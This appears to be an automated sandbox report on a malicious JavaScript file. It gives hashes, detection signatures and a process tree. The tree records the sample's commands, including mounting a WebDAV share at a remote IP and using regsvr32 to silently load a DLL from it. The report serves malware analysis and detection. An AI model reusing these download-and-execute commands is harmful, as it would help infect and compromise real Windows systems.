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Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/07/2024, 07:09

General

  • Target

    28580163041917418022.js

  • Size

    5KB

  • MD5

    9ffc01f7c534e3e907049578fe7651e2

  • SHA1

    9603aa76bea7ca7453b94fc341f2be9db58c4d30

  • SHA256

    761ae16250435dd4652fc4103ac4910ac6f5db76ba67261412ecd1748e0820b7

  • SHA512

    836ad329eab9b0e1704e63343626c034bb7163e3f04059409225fa98d27de6db57df02a10f745c577f25c99f2ed88cbc111cba72fed8cb17f9ac3f26773d7056

  • SSDEEP

    96:aw5VIa+RNPPpmaQa+RNPPpmnoZyNfoxIOfe0PO/nPOt5ZH0kS:54PPxSPPT8Jolfe0MPc5ZUkS

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\28580163041917418022.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:920
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\28580163041917418022.js" "C:\Users\Admin\\mtlnfg.bat" && "C:\Users\Admin\\mtlnfg.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4856
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:4688
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\648.dll
          3⤵
            PID:5084

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\mtlnfg.bat

        Filesize

        5KB

        MD5

        9ffc01f7c534e3e907049578fe7651e2

        SHA1

        9603aa76bea7ca7453b94fc341f2be9db58c4d30

        SHA256

        761ae16250435dd4652fc4103ac4910ac6f5db76ba67261412ecd1748e0820b7

        SHA512

        836ad329eab9b0e1704e63343626c034bb7163e3f04059409225fa98d27de6db57df02a10f745c577f25c99f2ed88cbc111cba72fed8cb17f9ac3f26773d7056